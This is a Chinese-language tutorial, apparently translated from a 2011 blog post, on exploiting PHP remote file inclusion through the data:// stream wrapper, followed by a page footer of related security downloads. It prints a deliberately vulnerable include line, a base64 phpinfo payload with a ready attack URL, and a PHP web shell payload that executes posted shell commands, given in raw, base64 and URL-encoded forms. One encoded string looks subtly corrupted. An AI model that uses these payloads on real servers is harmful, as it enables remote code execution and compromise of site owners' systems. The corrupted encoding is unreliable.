`

PHP RFI

 
阅读更多
原文地址:
https://www.idontplaydarts.com/2011/03/php-remote-file-inclusion-command-shell-using-data-stream/

PHP5.2及后续版本支持流封装。流封装的基本原理是通过另一个协议或服务写一个接口,然后可以使用你需要的函数获得数据。
例如
$session=ssh2_connect('example.com',22);
$stream=fopen("ssh2.tunnel://$session/remote.example.com:1234",'r');

另一个使用data://流是解码base64字符串:
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');

流可以用于file_get_contents,fopen,include和require等。

5.2版本之后,如果allow_url_include开启了,我们可以使用数据流来包含可执行的PHP代码。例如:
<? include($_GET['file'] . ".php");

通过把一个字符串使用base64编码,然后使用url编码该字符串中的特殊字符,我们可以成功执行脚本。如下我们可以使用上面的脚本执行phpinfo来获得环境变量
<? phpinfo(); die();?>

:::php
// Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

// URL + Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

// Final URL
index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==


上面的die语句用来阻止执行脚本的剩余部分或追加在数据流后面的不正确解码的".php"字符串。
除此以外,还可以执行shell命令,如下
PHP Payload:
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>


Base64编码后的payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8+Cgo=


Base64 + URL编码后的payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT82BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D


运行php shell


  • 大小: 5 KB
分享到:
评论

相关推荐

    XSS,RFI扫描者

    XSS(跨站脚本攻击)和RFI(远程文件包含攻击)是两种常见的网络安全漏洞,主要用于攻击Web应用程序。这两种攻击方式对网站的安全性构成严重威胁,因此了解它们的工作原理、防范措施以及如何进行扫描至关重要。 XSS...

    lfi-labs, 用于实践开发 LFI RFI和CMD注入vulns的小型PHP脚本集.zip

    lfi-labs, 用于实践开发 LFI RFI和CMD注入vulns的小型PHP脚本集 lfi实验室用于实践开发 LFI 。RFI和CMD注入vulns的小型PHP脚本集为什么?用于培训和测试。 你可以测试检测产品( 比如 。 漏洞扫描器),利用工具等。...

    php攻击一手资源

    2. **远程文件包含漏洞(RFI)**:当PHP应用程序允许从远程URL加载并执行文件时,就会出现RFI漏洞。攻击者可以利用此漏洞将恶意代码注入到服务器,从而执行任意的PHP代码。修复此类漏洞的方法是禁用或限制`include()...

    php包含漏洞自动挖掘分析工具下载 php远程包含漏洞

    PHP包含漏洞通常分为两种类型:本地包含漏洞(Local File Inclusion, LFI)和远程包含漏洞(Remote File Inclusion, RFI)。LFI漏洞允许攻击者读取服务器上的任意文件,而RFI漏洞则更严重,因为它能让攻击者通过指定...

    基于PHP的科威php防火墙.zip

    防火墙可能包括了规则集、日志系统、异常检测机制等组件,用于监控并阻止不安全的HTTP请求,防止SQL注入、跨站脚本攻击(XSS)、远程文件包含(RFI)等常见的Web应用安全威胁。 【标签】"PHP" 明确指出这个防火墙是...

    使用SMB共享来绕过php远程文件包含的限制执行RFI的利用

    在本文中,我们将深入探讨如何利用PHP的远程文件包含(Remote File Inclusion,RFI)漏洞,即使在PHP环境中配置了禁止从HTTP/FTP URL包含文件的情况下。远程文件包含漏洞通常发生在应用程序允许用户输入用于决定要...

    PHP实例开发源码——科威php防火墙.zip

    在实际的Web开发中,防火墙扮演着至关重要的角色,它可以检测并阻止潜在的SQL注入、跨站脚本攻击(XSS)、远程文件包含(RFI)等威胁。PHP防火墙通常通过分析和过滤输入数据,以及设置安全策略来实现这一目标。 【描述...

    高级php应用程序漏洞审核技术教程pdf版

    例如,查找可能导致远程文件包含(RFI)、命令注入或逻辑错误的部分。 2. **错误处理**:避免在生产环境中泄露敏感信息,如错误报告和堆栈跟踪。使用_error_handler自定义错误处理函数,以控制错误输出。 3. **文件...

    php漏洞和挖掘

    5. **远程文件包含(RFI)**:与文件包含漏洞类似,但此情况中包含的文件来源于远程服务器。攻击者可以通过提供恶意URL,使服务器下载并执行远程的恶意代码。 6. **代码注入**:当PHP脚本在输出之前没有正确转义或...

    vulnerable:Php 脚本易受 SQLi、XSS、RFI 和 LFI 攻击,用于测试目的

    在IT安全领域,尤其是Web应用安全,SQL注入(SQLi)、跨站脚本攻击(XSS)、远程文件包含(RFI)和本地文件包含(LFI)是四种常见的漏洞类型。这些漏洞通常源于PHP编程中的错误或疏忽,使得攻击者能够利用它们执行...

    [翻译]php安全之谜

    如果脚本允许用户控制包含的文件路径,这将导致本地文件包含(LFI)或远程文件包含(RFI)漏洞,从而暴露系统敏感信息。 **详细解释:** 文件包含漏洞通常发生在脚本使用动态路径来包含文件的情况下,如使用用户...

    PHP远程文件包含列

    远程文件包含(Remote File Inclusion,简称RFI)是PHP程序开发中常见的安全漏洞之一。它发生在当PHP脚本动态包含一个外部文件时,如果该文件的路径由用户输入且未经过充分验证或过滤,则攻击者可以通过提供恶意文件...

    PHP程序常见漏洞攻击宝典

    PHP支持丰富的文件操作功能,但这也可能导致远程文件包含漏洞(Remote File Inclusion, RFI)。例如,考虑以下代码片段: ```php &lt;?php if (!($fd = fopen("$filename", "r"))) { echo "Could not open file: $...

    PHP include任意文件或URL介绍

    但使用这项功能时需要谨慎,因为远程文件包含(RFI)可能存在安全风险,例如可能遭受远程文件包含漏洞攻击,导致服务器被远程控制。因此,在使用allow_url_include功能时,必须确保使用的URL是安全可信的,或者采取...

    技术分享从浅入深学习PHP文件包含.pdf

    2. **远程文件包含 (RFI)**:如果允许从远程服务器加载文件,那么攻击者可以通过提供恶意URL来执行远程服务器上的代码,从而实现远程代码执行。 #### 漏洞实例与绕过方法 为了更好地理解这两种文件包含漏洞,下面...

    Web应用安全:远程文件包含利用.pptx

    例如,PHP中的`include`或`require`函数如果没有进行适当的输入验证,就可能成为RFI攻击的目标。如果`allow_url_include`配置选项被设为`ON`,那么这些函数将能够加载远程文件。 ### **攻击示例** 假设有一个应用的...

    PHP中的危险函数全解析.rar

    1. `include()`、`require()` 和 `include_once()`、`require_once()`: 当配合用户可控的变量使用时,可能导致远程文件包含漏洞(RFI)。开发者应使用绝对路径或安全的变量来指定文件路径。 2. `file_get_contents()...

    Register Globals不是PHP安全漏洞也是安全风险

    2. **远程文件包含(Remote File Inclusion, RFI)**:另一个风险是,当使用动态路径进行文件包含操作(如`include "$path/script.php"`)时,开启`register_globals`可能导致恶意用户通过设置`$path`变量来包含远程...

    PHP-Cheatsheet-Script:该脚本使用grep搜索PHP源代码(例如XSS SQLi LFIRFI)中的代码级漏洞-Search source code

    LFI / RFI 大部分搜索都是由@dustyfresh创建的,他将其编译归功于他! 我只是将整个过程自动化到这个脚本中 用法:编辑路径以指向要检查的项目的根目录。 (/ var / www / html / cms /) chmod + x &lt;脚本&gt; 。/...

Global site tag (gtag.js) - Google Analytics